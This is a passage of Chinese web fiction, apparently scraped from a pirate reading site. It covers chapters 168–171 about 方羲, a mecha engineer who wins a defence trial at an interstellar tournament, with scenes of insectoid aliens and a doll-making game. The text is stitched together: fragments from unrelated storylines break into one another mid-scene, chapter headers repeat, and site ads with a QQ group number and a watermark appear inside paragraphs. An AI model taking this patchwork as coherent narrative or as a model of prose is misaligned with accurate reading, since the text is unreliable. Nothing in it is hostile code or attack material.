总金额：50w，定金20%】？？？50w？方羲的第一单改造就卖了50w？！ 光脑弹出一条通知唤回她的注意。 【888号悬赏订单撤销，理由：已找到机甲师完成。】 机甲师论坛一片震惊声。每天更新最新完结文，追更付费连载文搜索 Q群5②4久〇8192 [？？？居然不是论坛里的机甲师接单吗？] [光改造费就40w，我好馋呜呜呜……为什么不是我！] [一定是超级厉害的机甲师吧，急急急有没有人知道内幕，我想看成品！] 她刚发了设计图，订单就撤销了，不会是选中了她吧？ 方绮还没来得及惊喜，新邮件弹出，是熟悉的拒绝。 等等……方羲拿到的也是飞行器订单，888号悬赏订单下架的时间也太巧了吧？ 方绮立刻摇头，试图把这个可怕的猜测甩出去。 怎么可能？！怎么可以！ 方绮不错眼地盯着方羲，看着她收起光脑，坐着悬浮环施施然离开，心止不住地往下沉。 …… 定金到手，飞船也到了。 方羲选的座位离飞船观景台近，就着风景，酸甜小零食吃起来格外香喷喷。 耳边响着飞船起落注意事项，方羲凝神听了一会，心里一动，给乔炎发了条消息。 乔炎很快回复：“一年多以前的萤火星附近飞船事故啊……这几年事故很少，这起我有印象，好像是以操作不当事故结案。星警应该已经查过事故幸存者，飞船遗骸零件估计都被拆到回收站卖废品了，挺难搞的。” 方羲：“乔老板有空帮我找找？费用好说。” 方羲过去神魂大部分沉睡，大伯一家把她逼到绝路，不过是仗着她没经验、没对他们设防。 飞船事故究竟有没有猫腻，查查就知道了。乔炎能在中央商圈稳稳开店，拿钱办事，地头蛇的能力还是值得信任的。 飞船驶入水蓝星，天色刚刚破晓，灿金光辉照得人暖洋洋的。 方羲一路靠悬浮环代步，内置导航相当给力，直奔竞技场。 方羲停止调息，睁开眼，一座蓝色高山挡在面前。 仔细一看，哪里是高山，分明是大鲸鱼造型的机甲竞技场。“鲸鱼”头顶的水花不时喷出，在空中组成彩虹色的一行大字： “水蓝星一号机甲竞技场，祝贺X07届选手复赛取得好成绩！” 选手们很少有踩点到的，特意分流给选手们的广场上，机器人亮着指示牌在两侧列队，将好奇满满的观众和机甲师分开。 机甲师们陆续排队核验身份进场，看着外面热闹的观众群，羡慕中，心底升起无限期待。 “瞧，又是生机机甲的应援祝福。才过初赛，观众连谁是谁都不一定认识，凑凑热闹可以，应援还真没几个，也就企业有这个气势了。水蓝星本星的机甲师估计都要馋哭了。” “不知道萤火星的方羲到了没有……她到现在也没放自我介绍视频，找人都不知道去哪找。别人的技术我起码能看出一点，她的我真看不懂！” 方羲就着好奇的议论声吃掉最后几块炸云菇，厨师手艺拿捏得刚刚好，筒里连点炸货油渍都没有，凉了也别有一番风味。 通过检测光门，AI机械音播报方羲的身份信息：【No.10001，选手方羲，已到达。改造间F9,请寄存您的随身物品。】 提示音刚落，排队的机甲师人群中响起嗡嗡议论声。 “方羲……是萤火星第一名那个方羲？！” “哪儿呢哪儿呢？好年轻啊！难道是哪个家族传承现世，或者哪位大师路过水蓝星系收了徒？” “等等——你就是方羲啊？！” 方羲听得耳熟，回头一看，在机甲材料商店碰见过的中年机甲师望着她，下巴都要掉下来了。 方羲笑笑，“是我。谢谢你提醒我材料的事，比赛加油。” 第二管金宝石蚁提取液画的金光符，还在丹田皮肤上，源源不断散发着热意。 “我是白馥，萤火星第四。咳，你、你也加油！”中年机甲师紧张地有些语无伦次，等方羲走进去，影子都看不到了，还一脸恍恍惚惚如坠梦中。 身边有人好奇地问，“什么材料？” “如果是方机甲师的话……可能过期的金宝石蚁提取液，真能做什么别出心裁的改造？那可是0.1%改造度和第一名啊！”白馥解释了一遍，想起那天自己的话就尴尬。 她以为那是个初入行被骗了的机甲师，没想到，人家成绩比自己还高！ 各个海选赛场前十名进入复赛，第一第二的名次，在这里一抓一大把。 唯独方羲，以她特殊的成绩，从进门就吸引了大家注意力。 方绮听得刺耳，在人群里小声愤愤道，“她提都没提，肯定是改造失败了不好意思说！她精神力受损不到F级，没法处理材料只能取巧，两天才改了0.1%！” 不到F级？！不会吧？ 机甲师们惊讶，左右看看没找到是谁在爆料，心里却都对方羲参加复赛不太看好了。 窃窃私语声很快从机甲师之间传开，抽气声此起彼伏，有几个从其他星球赛场赶到的机甲师摇摇头，将方羲从心里头号大敌清单划掉。 复赛试题难，不像初赛都有人开始卷交卷速度，复赛时每届都有人来不及完成改造。精神力低的机甲师只有花更多力气和时间，才能赶上其他人的进度，其中难度可想而知。 加上方羲展露的技术相当极限偏科，两个劣势叠加，别说出好成绩了，能改造完都是胜利。 竞技场观察室里，主持人和嘉宾们在做最后的赛前确认，也有人提起方羲。 “老师，我刚听排队的选手们聊，说萤火星那个机甲师精神力等级很低……但只是听说！这次主直播间镜头安排应该不用变吧？”助理小心翼翼地问。 主持人皱眉，“萤火星，你是说0.1%改造度超音速的那个？” 复赛开始开放个人直播间镜头，愿意展示改造的机甲师们会奋力表现，赛场主直播间也会不时挑出几个推送并点评。 一般来说，推送的都是初赛第一和其他优中选优的选手。他们未来表现好，自然说明赛场主持人眼光好，更适合嘉宾们点评。 毕竟要是选手身上有坑，个人出问题就算了，放到主直播间肯定要被人嘲笑水蓝星的。0.1%改造度的黑马，谁知道是不是昙花一现？ 主持人不打算冒险，“还是做备选吧。” 助理有些失望，试图争取，“但是方羲的改造是最特殊的，关注度很高……” “那也不行。咱们总不能丢脸丢到全星系，放其他人的。”主持人不耐烦。 走廊里脚步声停了一下，“笃笃”叩门，冷冽的声音从外面传来，“军部监督。” “时时时少将！？坏了，怎么让他们听见了！前两天才换了个收生机机甲贿赂说好话的嘉宾，可千万别误会我！” 主持人急得同手同脚原地打转，慌了几秒反应过来，瞪了呆住的助理一眼，“赶紧去开门啊！” 门开了，银发蓝眼的军人撩起眼皮，居高临下投来一眼，冷得像冰，“在争什么？” 他生得很年轻，几乎让人怀疑还没成年，但并不会因此让人看轻。肩宽腿长，完美撑起黑色银边军服，陡然生出冰冷肃杀的压迫感。 主持人看见他，就想起了被送去审查的嘉宾，心高高提起，生怕被临场换掉。 “没、没什么。”主持人只觉得嗓子都被冻僵了，竹筒倒豆子般解释完针对直播的分析和安排， 主持人赶紧努力挽回，“时、时少将，我想了想，还是按照以前的惯例直播，各初赛赛区第一和第二名，安排在主直播间随机展示。” “嗯。”时行知颔首。 军靴声哒哒远去，主持人松了口气，背后已经出了层冷汗。 主持人：问就是后悔，为了求稳，怎么还差点把我搭上了呢！ 时行知大步走进休息室，跟在身后的青年笑眯眯问，“如实招来，方羲是哪个学校的，你什么时候认识的？没想到啊，军部派你过来，还真派对了。” 时行知一顿，“谁？” 青年愣了，“你不知道？就刚刚主持人想换掉的那个萤火星机甲师啊？我还以为咱们这位高岭之花终于动心了，都会帮人出头了。” 方羲……？ 时行知默念一遍名字，莫名有些熟悉，但他确信，自己并不认识。 时行知蹙眉，“齐源，大赛是公事。无论是否认识，都该维护选手权益。” “监督有主脑AI呢，不违反规定就行了。军部派人向来是镇场和挑好苗子，让你来水蓝星系，是让你这个工作狂休息，你倒好……好了好了，看比赛，看比赛好吧？” 齐源被冷气冻得受不了，摸了摸鼻子，打开休息室光屏，眼前一亮，“欸，方羲的直播间开了？” 而早已抵达会议室、正在介绍今天安排的007，说话声忽然一顿。 【007？怎么了？】 【……】007恨恨地暗骂了一句，【真是个小疯子。】 因为我们是世界上彼此唯一的同类，也是基因相似、危机时刻仿佛也连心灵感应的灵魂。 在所有人惊愕的目光下，007猛地撞开房门。 然后跌跌撞撞地朝某处狂奔。 在无人知晓的角落，505的眼底闪烁着一种极亮的光，发白的唇缓缓勾起一抹纯粹的、好奇的、而非偏执的微笑。 来试试看吧。 我也要坠入时空的缝隙，成为宇宙的一粒微尘。 赌上我所有的灵魂，来看看…… 人类的机器，究竟能不能撼动时间呢？ 第 169 章 第 169 章 【人偶制作完成！】 【这是一只在种子时期，就萌生了自我意识的南瓜。它生来成熟、稳重、懂事，甚至考虑到您的精神状态不佳，主动进化为完全体——一辆华丽丽的南瓜马车！当然，这也可能是你投放了时空能量的缘故……】 【是否为人偶命名？】 南瓜：“亲爱的主人，我想叫南瓜麻薯。” 方羲：“……(゜ロ゜) 什么？” 懂事的南瓜立刻意识到主人可能是对南瓜麻薯这个名字不满意，于是她主动换了一个，建议道：“那，南瓜汤圆怎么样？” 方羲：“……” 方羲扭头就走。 “主人你等等哇！”南瓜在方羲背后大声喊道，“这个不行，那我再换了一个！南瓜米糊糊怎么样！主人！” 方羲顿住脚步，缓缓深吸一口气。 机甲头顶的数据清清楚楚，破损度随着攻击还在上升，但直到现在，才刚到20%。防御甲只是损伤，一点没破损失灵…… 方绮简直怀疑自己的眼睛！ 只要是个机甲师就明白，这个数据，和没破防有什么区别？！ 直播间画面右上角，她以为已经被淘汰的方羲长发挽起，气定神闲地盘膝休憩，肩背挺拔如优雅的鹤。 方羲唇角的微笑，像一抹无声嘲讽，刺眼极了。 屏幕外，方绮眼睛都快瞪脱眶了，也没能让画面变一变。 真的是方羲？怎么会是方羲？！ 一旁传来嘲讽笑声，“谁看不出来啊，有人酸死了吧。还没比完就说比你优秀的选手生病了，什么居心！” 机甲师们远离呆愣的方绮，好奇地议论起来，“话说，方羲真的精神力受损了？难怪搞这种改造一点点的新设计，我看弹幕说只花了半个小时！” “听说是F级精神力？剑走偏锋也是没办法的事……” “是不是方羲现在的精神力，只够改造这么多？不管能坚持几分钟，都很厉害了，要是能全部改造，那得多强啊？我到现在还没搞懂她是怎么改造的，dream一个机甲公司买到技术授权，我去当小工也行啊！” 机甲师们继续讨论着屏幕上机甲改造的技术，只有方绮在原地呆愣着半天没动。 时间一分一秒过去，不断升级的攻击下，很快大屏幕上只剩两个直播间还亮着。 质疑过方羲的弹幕已经麻了。 [世界疯了还是我疯了？怎么方羲还没淘汰？啊？？大赛的数据监测坏了吧？？？有没有人管管啊，有人开挂啊！] [认清现实吧，真的画几笔就能改造机甲TOT有时候很怀疑人和人的差距是不是比狗还大……] [谁懂啊！第一分钟，我觉得方羲是运气好。第二分钟，我觉得方羲是选对了防御姿态。第三分钟，我琢磨着雨光草是不是真有用，一瓶雨光草提取液下去，很好，现在我的矿石份额没了。雨光草受害者+1呜呜呜！] [为什么啊？到底是为什么啊！方羲的机甲没碎，我和我机甲老师世界观都碎成渣渣了！] 万众瞩目中，第九分钟，攻击再次升级后，一台机甲响起咔嚓断裂声。 土黄色机甲蜷缩着抱紧核心，在一次次攻击轰鸣中，链接处终于有了破绽，无可避免地碎裂断开。 方绮猛地眼前一亮：方羲机甲的四肢断了！太好了，肯定要完蛋了，是二哥拿到第一！ 轰隆—— 屏幕上一台机甲突然炸开。 方绮还没来得及庆祝方羲失败，笑容就凝固了：并不是方羲的机甲炸了。 金发青年傲慢地抬着下巴走出改造间，却没人注意到他。 他错愕抬头，大屏幕上，还剩最后一台机甲。 不是他的。 “二哥……”方绮反应过来，慌乱回头找到他。 方成锋看着屏幕，脸色难看起来。 知道方羲要参赛时，他完全没放在心上。 精神力废了，没有练习资源和学习指导，没有新的设计……方羲就像个还没长成就夭折的幼苗，也只有方绮会一直盯着她折腾。 但方成锋没想到，方羲和他一样坚持到了现在，比他坚持的更久。 没像预想的一样拉开分差，接下来还有复赛两场，方羲会不会也进入决赛？甚至……威胁到他的第一？ 一侧的解说室里，主持人慢动作回放细节，“我们可以看到，来这台机甲在运输舱破损后，被从后方击穿了能源仓，彻底报废。接下来，是No.10001机甲师的独秀！” [恭喜方羲提前锁定第一！] [好耶！萤火星奇迹再现！！！] [我错了，我再也不说方羲睡觉不对了。要是我睡觉也能得这个成绩，我能一睡不醒！这哪是睡觉，这是沉稳！] [九分钟了啊啊啊！不会吧，方羲不会要拿满分吧？？不会真能打出30分碾压局吧？！] 主持人怎么也没想到，比赛开始时操作最离谱的直播间，却坚持到了最后。 幸好，幸好军部监督没让她撤掉这个直播间，幸好，要是看不到这么精彩的反转成绩，那可太遗憾了！睡觉怎么了？哪个天才没有点怪癖！ 但……第一和满分相比还是差了点。方羲能再创造奇迹吗？ 主持人为方羲捏了把汗，看向嘉宾们，“钟校长，谭会长，你们觉得，她能拿到满分吗？” 钟泽盯着屏幕，摇摇头，“啧，这届年轻人不行啊！就一个坚持到了九分钟！怕不是要全军覆没。” 机甲协会水蓝星分会长谭如意叹气，“老钟头，你还不承认这题太难了？最后这台，能撑过九分钟攻击强度的开端，材料和防御方式没问题。但四肢断裂，说明能源不足时首先较脆弱的链接处受损。破损度在迅速上升，拿满分的概率不高。” 钟泽嫌弃，“难什么？饱和式攻击测试又不是我发明的，去年年底中央星系刷新的低级机甲防御记录就是10.001分钟！” 九分钟阶段，不仅增加了新的攻击类型，先前全部攻击类型都再次出现。 狂风暴雨般的攻势下，和嘉宾判断的一样，机甲一直缓慢爬升的破损度迅速升高。 [救命，不敢看了，好紧张啊啊啊！] [别期待太大，那可是中央星系的防御纪录！能坚持到九分钟很不错了，不管怎么样，方羲的改造都很牛逼了！] [不听不听，许愿奇迹！] [许愿奇迹！] 时间一秒秒过去，土黄色机甲四肢连接处暴露出能源缆线，被不断打中，破损处裂痕已经爬进机甲内部。 乌龟般隆起的背部扁了许多，薄脆的外甲焊接位置已经变形，隐约暴露出里面的密封水箱。背部银光一点点暗淡下去，几乎要消失不见。 随着攻击落下，机甲不断颤动，肉眼可见地随时都可能倒下。 注视着大屏幕上破破烂烂的机甲，所有人忍不住屏住呼吸提起了心，生怕干扰到屏幕上的机甲似的，无声默数： ……58秒、59秒，第十分钟！ 嘎吱—— 机甲发出令人牙酸的吱呀声，扭曲到极限的防御甲还没断开，机甲能源灯忽地熄灭，背甲上模糊的银光彻底消散。 砰！ 防御外甲像一张薄脆的旧纸，被瞬间击穿，金属残片四分五裂飞散。 哗啦！水花喷泉般涌出运输舱创口，泼了一地。 【No.10001，防御时间：10.001分钟，复赛第一场成绩：30分。】 机甲上方的数据刷新，仅剩的一个直播间从此定格。 无论是观众席、弹幕还是解说室内，都安静了几秒。人们瞪大眼睛看着火热出炉的成绩，好像太过兴奋说不出话，又好像一切太不可思议，让人不敢置信，有些不认识字了似的。 “No.10001获得了满分！” 主持人高声呼喊打破寂静，激动得满脸涨红，“第一场满分第一！女士们先生们，你们看到了吗？10.001分钟，她持平了当前防御纪录！！！” 丑丑的土黄色机甲在大屏幕上格外耀眼，即使它满身伤痕，即使它四分五裂，依然是场上当之无愧的第一，万众瞩目中熠熠闪光的明星。 烟花彩带特效围绕着定格的机甲画面，滚动的成绩排行榜上，方羲的名字登顶第一。 缩小浮窗的选手改造间里，机甲师的浅浅笑容和机甲一起留在所有人眼中。 赛场上无人嘲笑主持人的兴奋失态，惊喜欢呼声在竞技场中炸开，弹幕也满是惊叹尖叫。 [原野一型出息了啊啊啊！恭喜方羲！恭喜No.10001！！！] [赛场奇迹再现！方机甲师牛逼——！！！] 谭会长赞许地点头，眼角皱纹如花般绽开，“这是能源的极限，不是防御的极限！更不是No.10001的极限！有这样的年轻人推陈出新，未来可期啊。” [啊啊啊真的是满分！满分碾压局！] [我搜了，水蓝星系并没有人宣布持平纪录，方羲是第一个！] [也就是说，如果能源更多，可能能破纪录？？] [活久见，边缘星系技术比中央星系落后一两代也不是一天两天了。咱们水蓝星系还有这一天？？？] “是的，让我们期待选手们在接下来比赛中创造的奇迹吧！” 主持人和谭会长点评了几句为大赛直播收尾，比赛结束，直播间也随之关闭，弹幕还不断刷新着。刚见证奇迹的观众们克制不住满腔激动，还在尖叫欢呼。 只有方绮兄妹沉默不语，气氛冷得像冰。 休息区里，其他机甲师恍恍惚惚看着屏幕，不知是谁起的头，零星鼓掌声很快响成一片，声音几乎盖过了直播大屏幕的解说声。 随着比赛结束，最后一间没开启的改造间也解除了封闭，隐约的掌声和欢呼传进改造间。 方羲由衷地笑起来。 她在修仙界听多了夸赞和艳羡惊呼，并不放在心上。只是这次不同。 这是星际世界，第一次为符箓欢呼惊叹。 小鸟本来想歪歪脑袋，向这个和自己长得一样小巧的人类卖萌……但它却看到了金发少女眼底，那种根本无法掩饰的厌恶、憎恨、怨毒、杀意…… 就好像被什么丑东西恶心到的表情。 金色小鸟瞬间被吓走了。 踏樱猛地回过神，大脑终于反应过来刚刚那只柔软的生物究竟是什么——那一定是白鸦深夜离开车厢，偷偷制作的新傀儡。 完了。 她怎么能露出这种表情…… 踏樱在原地不知所措地愣了好一会，然后勉强重新扬起微笑，朝方羲招了招手，仿佛什么也没发生过一样：“白鸦，我们做好了早餐，你要不要进来一起吃？” 方羲眨了眨眼，忽然明白了宋白玉刚刚的潜台词。 原来是这样。 柳莺。 第 170 章 第 170 章 虽然南瓜马车没有马，但她具备上刀山下火海的超能力……唯一的缺点是，不会飞。 方羲制作四只“柳莺”的目的，自然是让南瓜深入体会一番在天空飞翔的感觉，最好尽快无师自通地学会怎么飞。毕竟她也不可能强迫四只小鸟天天带着一只笨重的南瓜飞来飞去，那也太为难莺了。 南瓜：“亲爱的主人，你要求一颗在大地生长的南瓜学会怎么飞，难道这就不残忍了吗？” 可惜无论这颗南瓜如何哀嚎、诉苦、试图以理服人，但都动摇不了方羲希望她学会飞的念头。 方羲一边嚼着面包，一边用眼神暗示“你好好学”。 南瓜很心塞，但她看了看四只柳莺给她示范了一遍，又抬头仰望天生无法企及的天空……忽然之间，南瓜的内心充满着一种澎湃激昂的心情！满脸跃跃欲试！ 一千零二看着翻脸如翻书的南瓜，忍不住翻了个白眼，眼底甚至暗含一丝对陆地生物的蔑视。 “说实话，■■。” 方羲看了她一眼，感觉这只眼珠子又开始不怀好意，只敷衍地回答了两个字：“怎么？” “我觉得这个南瓜一看就智商不太高，而且一副故作高深的姿态，就这种玩意，怎么能学会飞？”一千零二点评，“我看你还是不要太指望非你和非我之外的东西，万一回音是不好的结果呢，那样期望不就是落空了吗！换句话说，就是亏本的买卖！” 单是以他过去犯下的罪孽，而方羲却仿佛毫不在意，思维逻辑也不同于世俗观念，随着她当时打下的子弹，似乎也就一笔勾销了。 “……”方羲没说什么，而是转而对卡蕊莎说，“记得把那些无法解析的古老书籍销毁掉。” “是。” 方羲瞥了眼窗外宛如极光的纯色景象，这就是现在所处的星系之间的屏障区域。 时空扭曲吗……方羲略感好奇。 * “计划失败。” “她很强，变异的幼生体。” “无法以常规手段剿灭。” “嘶嘶嘶……■■■■■？” “失败也没关系，那可是一个高质量的□□。” “决议成立。” 位于第六星系与第七星系之间，存在着数个无法探测捕捉的星球，生存资源极为匮乏，基本不能诞生除了异生种之外的任何生命体。 但正是这种险峻的生存条件，成为了蒙斯特虫族秘密驻扎的生存基地。 为首者微笑地望着底下的虫族张着口器，触须卷曲交错，嘶鸣声尖锐不断。 这曾是一群高等虫族，如今已经退化至显露原型态的程度，但优势是他们已然失去层次复杂的情感系统，只剩下某种吞噬的绝望渴念，成为更好利用的杀人武器。 统领蒙斯特的是一名三眼虫族，希蒙。亦是唯一一个人类形态尚未退化的虫族，作为行动计划最主要的智脑。 他额头上的第三只眼睛，黑膜红眼，偶尔漫不经心地转一圈，毫无感情充满邪性。底下的双眼则陷入了思索，仿佛与之分割成两种意识。 希蒙打开光脑，调出近年来唯一一个忽然失去联系的星球。 蒙斯特虫族在每个生存基地都设置了重重的科技密码锁，一旦某个星球出现意外，相关的事故线索定然会传输到本部。 但无名星球消失得极其突然，成为困惑希蒙多年的疑点。 不过现在他大致有了明确的猜测。 结束会议之后，希蒙独自回到自己的研究所，入眼是一个沾染浓稠血液的至高王座，一名成年女性安静沉睡，身着黑裙，柔顺的黑发长长地垂至地面，头顶生着宛如恶魔的红色犄角。 似乎是听见来者的动静，女性缓缓睁开眼睛，整双眼睛唯有一片艳丽的红色，仿佛没有正常的瞳孔存在，微微垂下头“看”向希蒙，语气惰懒道：“食物不够了。” 王座底下是一片发白的尸骨。 希蒙苦恼地唔了一声，又微微笑道：“别着急，最近有更重要的事情需要处理。” 空气中浓郁的信息素无孔不入，希蒙额上的第三只眼睛死死紧盯着王座上的犄角女性。 希蒙微叹一声，抬手强行合上第三只眼。 “是吗？”女性说，“你想捕获那个新生的虫族女王？” 希蒙从顺如流地回答：“不，你才是我们的【女王】” 混血者A001号达格玛，人类与女王基因的结合体。 人类的意识已然坠落，思维彻底蜕化为异族，无穷无尽的贪欲驱使她不断吞噬更多的血肉。 达格玛轻笑了一声，凝视着三眼虫族：“现在只有你还能维持人类形态了。你们需要她。” ——你需要她。 一语成谶。 达格玛的半边手臂骤然落地。 “……”希蒙额头的第三眼甚至缩成针孔状，密密麻麻的红色裂痕向外扩散侵占，仿佛要冲破本体。 王座上的黑发女性神色漠然，断掉的手臂极快地化作血水重新汇集到身上。 “自相残杀可不个好选择。”希蒙微笑道。 两名虫族视线交汇，一瞬间达成精神共享。 “我知道了。”达格玛说，“我将使用最后一次精神识海，不论结果如何，你们都该放了我。” 希蒙的第三眼终于安静下来，他状似苦恼，思量许久才颇为勉为其难道：“可以。” 待希蒙离开之后，黑发女性沉默地凝视着前方的无形之门，缓缓闭上眼睛，释放精神识海查看已与她建立链接的虫族。 她站在秩序颠倒的宇宙之上，望着脚下一片黯淡近乎无光的星辰，识海之中浩瀚无垠没有边际，空中漂浮宛如撞碎的星辰碎末。 达格玛与虫族的精神链接并不紧密，但数量足够多，能够一定程度影响虫族的集群意识。她的确无法窥视虫族最远古的基因秘密，但显然现下能做的，已经远远超过人类的极限。 许多虫族未曾见过她，不清楚蒙斯特虫族还有着一位混血女王。也许他们并不承认其存在，但也不影响达格玛下达强制性的命令。 ——剿灭新生的女王。 一个与虫族本能极端冲突的命令。达格玛心底深处也翻滚着一阵无法克制的恐惧与犹豫。 她这么做是正确的吗？ 虫族总是贪婪、凶悍与非人性的残酷，唯有至高者方能栓住他们摇摇欲坠的□□意识，甚至轻飘飘的也不需要费什么力气。 一旦触及其底线……宇宙之中还有其他种族生命的活路吗？ 达格玛颤抖地抬起手，试图凝聚意识，冰冷刺骨的寒意顺势粘在她的身上，深入五脏六腑。 “你在做什么呢？”一道清冷的声音忽而出现，惊得宇宙的星辰骤然亮了一瞬。 达格玛猛地转身看去，一名白发少女的虚影缓缓显现，眸子平静地凝望着她。 “你是人类啊。”方羲说，“这里是你的精神识海吗？” 方羲回到卧室，原本只是习惯性打了个瞌睡，没想到以睡梦的方式来到精神识海的浅层空间。 但这个地方和她此前冥冥之中接触过的识海又不太相同，更像是某种制造技艺粗糙的劣质品。 没什么稀奇的地方，方羲颇为无聊地瞎逛，不耐烦地拂开那堆黏黏糊糊凑上来的星辰微点，一次惩戒过后它们也不敢再随意凑近。 但忽然一道隐秘的心声从远处。 针对于她的、微不足道的恶意。 面前被摧残得人不人鬼不鬼的黑发女性，明明披着虫族的外皮，竟依然还存有一颗脆弱的人类之心。 只稍轻轻一捏便可化作尘埃。 达格玛心中一切复杂的思绪，在抬眼间看见方羲时忽而戛然而止，身体也僵硬如枯木，大脑唯剩一片无法思考的空白，嘴里竟也吐不出一个字。 方羲低头看了一会底下的星辰，在此刻间洞察了什么似的，美丽的面庞上扬起一抹天真又残忍的笑意。 如果她在此扰动这片精神体，蒙斯特虫族会随之湮灭吗？ 在人类肉眼看得见的高空，蓦然凝现出一个又一个黑洞。 方羲眨了眨眼，听见她创造的信使在无声询问——主人，你要去哪呢？ 巨人的部落？吸血鬼的城堡？幽灵悲鸣的山谷？遥不可及的帝国王都？还是就此放弃这段无聊又毫无挑战性的旅途，直达终点呢？ 左眼又在疯狂跳动。 因为它窥见了一个不应该出现在这里的黑洞。 深不可测的，倒映着【国王】一小片衣袖的，还有红龙掉落的一块鳞。 有那么一刻，方羲想要放弃一切直抵终点，但是她依然回头看了看那四粒在游戏世界相识的尘埃——她与他们本来应该永远是不相交的平行线，永不相识也永不理解。 于是，方羲轻轻道：“走吧。” 我再陪你们一段路。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 170-180 第 171 章 第 171 章 【人类观察日记】 【作者：“国王”】 【前言篇】 我是国王。 我被人类关进了一个笼子。 说实话，关就算了，但为什么不能把笼子做得更大一点，人类对空间的想象力真是令我叹息。 曾经自由自在的我，只能在这么一片小天地活动。偏偏这个地方还很无聊，同类大多是一群总是惊慌失措的废物，真无聊。 我本来想琢磨琢磨该怎么从内毁掉这个笼子，或许该派一些手下去捕捉笼子的主人，逼迫她交出钥匙……但就在这时候，一个细胞交给我了一本杂志。 那一瞬间，我概念意义上的眼睛，穿透了脚下这个狭窄的笼子，还有一个更巨大更古老的笼子，看到了她。 黑色的长发，苍白、不太健康的皮肤，还有一双眼睛，一个鼻子和一个嘴巴。用人类的话来讲，她天生一副不太好惹的样子，就好像有人欠了她钱似的。 【我站在塔尖待了很久很久，晃着腿，托着腮帮子，无聊地看着地面想要上来、却无法飞翔的鱼群。 不知道它们究竟是真诚地想阻止我，还是出于嫉妒呢？ 挂在左胸口的小小名牌卡忽然掉落，我疑惑地捡起来看。 “夏青禾。”【破碎的魔法布料x36，永生的奶油蛋糕x4（似乎被吃了一口），破碎的茶杯x9，漏洞的茶壶x4……】 当方羲看见其中带着“破碎”“漏洞”标签的残肢材料，下意识看了一眼在地上叼起一根羽毛玩耍的猫猫。 春醒看了看四周掉落的羽毛，却难得没有因为主人弄乱家园的行为而生气。 她的精灵之眼缓缓落在人偶师身上，轻声道：“你又变轻了。” 即使是割下极其细微的几缕灵魂，在人偶的视野里，创造者就像是失去了几根重要的肋骨。 方羲摸了摸春醒的头，想了想说：“其实我什么感觉也没有。” 春醒抗议道：“你还是快回去休息吧。” “喵喵喵！”晨乌猫猫也忽然蹦上工作桌，一副煞有其事的样子。 方羲表示拒绝，并让这两只人偶自己去玩。 春醒只好拎着她的小荷包，回到小木屋，她准备把新家具装上…… 方羲忽然感到一阵不详的预感。 两秒后。 小木屋传来一阵崩溃的尖叫。 方羲默默看了看桌上还没来得及雕刻的两段木头，思考两秒，几乎是不带犹豫地点击游戏面板，速速下线。 隔日早晨七点。 方羲忽然惊醒，瞪着天花板发呆十分钟，发现自己居然睡不着了！ 她的大脑异常清醒。方羲遗憾地从床上爬起来，洗漱，喝了两瓶营养液，便直接躺进全息仓进入游戏。 【玩家“白乌鸦”登录中……】 【玩家“白乌鸦”已回归人偶师空间。】 掉落在野花草坪的羽毛，被堆成一个棱角分明的金字塔。 小木屋仿佛被拆了重建一样，外形华丽变身。 外部多了池塘、水井、流动的小溪、户外工作室，入门处覆盖了一层遮阳的白色床帘，牵牛花与月季缠绕着木柱，柔软的藤蔓随意地垂下。 而小木屋旁边，还凭空长出一颗苍天大树，树干之上建造了一个玻璃窗树屋，绳梯长长地垂落在地。 方羲一脸震撼，小心翼翼地推开房门，先入眼的是深棕复古色的客厅，老式的落地钟表、电视机、壁灯，明显带着树木纹理的储藏柜，搁置着披肩和几个手工枕头的沙发。 春醒正坐在沙发上，怀里抱着猫猫，啃着方羲昨天采摘的苹果，满脸扭曲。但她可能是本着不浪费食物的原则，艰难地啃着。 猫猫耳朵抖了抖，瞬间从春醒怀里跳下，优雅又开心地踩猫步走到方羲脚下，喵喵了两声。 春醒也转过头，震惊地说：“主人你今天居然这么早起床？” 方羲抱着猫猫做到沙发上，据理力争：“我上班的时候也会这么早起床。” 藤蔓人偶默默地瞥了她一眼，美丽的精灵之眼似乎露出几分无语。 “你干嘛要种这么难吃的苹果。”春醒嘀咕道。 说到这个，方羲从游戏背包翻出139号商铺的使用权卷轴，递给藤蔓人偶看，深沉地说：“因为我打算把这些苹果拿去卖，我想想定价……五千金币一个好了。” 春醒脸上露出一丝茫然，等她看完卷轴上的字，对难吃苹果的郁闷瞬间一扫而空。 春醒强烈建议道：“五千金币？！不行，还是卖一万个金币吧！” 方羲诡异地沉默了一瞬，感觉人偶简直比她还要能宰人。 不过无所谓，方羲也不太打算亲自经营这家商铺，只是想留给春醒和猫猫管理。 比起赚钱，这家商铺更像是人偶们自主联系外界的媒介。 “原来的店主已经把东西搬空了，你可以去商业城看看店里的情况。”方羲说，又往春醒的小荷包塞了一百万当做装修费。 春醒郑重地收下人偶师给的金币，她甚至有点不习惯变得财大气粗的主人。毕竟方羲以前每个月只能靠着微薄的薪水，可怜巴巴地生活，连新鲜的肉也很少买一次。 方羲摸摸晨乌柔软的肚子，目送春醒离开人偶师空间。 打开游戏面板。 背包还有罗云沙赠送的200个高级数值药水，和春醒购买的100个特价高级药水。 由于特价药水存在“劣质”的属性，所以每一个只能提高五十点。 方羲琢磨了一下，她本来打算把这些数值药水全部用在给“卷王碎碎冰”的定制傀儡上。 不过，方羲想起还被死死钉在户外工作桌上的那封恶魔邮件。 尽管异端给出了足足三十天的准备倒计时，但方羲并不觉得它们的“承诺”有多么值得信任。 于是方羲决定把这些药水暂且先用在自己身上，数值药水这些东西也很常见，她大可以再找卷王碎碎冰购买一批。 方羲现在是四级。游戏每提高一级，每项普通数值都会随之提高三百点。 这也是失乐园常常被普通玩家诟病的一点，因为他们每升一级都需要花费长达三月到一年不等的时间，但游戏等级提高之后，获得的收获却很少很少。 而对部分氪金党来说，他们甚至不能直接使用大量药水拉满普通数值。 因为专属系统常常会弹出“您在现实世界的实力过低，无法使用技能药水进行投影”的嘲讽。 不过这个限制对方羲来说，似乎完全不存在。 哦……对了，这是我名字。 我又盯着底下黑压压的鱼群，想了想，忽然觉得旅行路上没有人作伴，会不会太孤单了一点。 于是，我摘下名牌卡，坐在世界最高之塔尖，把这个标着灵魂名字的卡片——抛向鱼群。 毫无犹豫的。 我也是曾经之一，一个被幸运点醒的新生命。但只有一个人的话，脚印肯定不能遍布整个世界。 所以你们也成为“我”吧！ 你们也成为“夏青禾”！ 我感觉萌生这个想法的自己，果然是天才！于是激动着大喊，底下鱼群纷纷一愣，摸了摸空空如也的脑袋。 然后她们啪地变成和我长得一模一样的另一个我。 和我一样善于奔跑、跳跃。 和我一样渴望从大地飞到天空。 和我一样。】 “既然系统不在，那么我也象征性说一下结束语好了——替行者制作成功。” 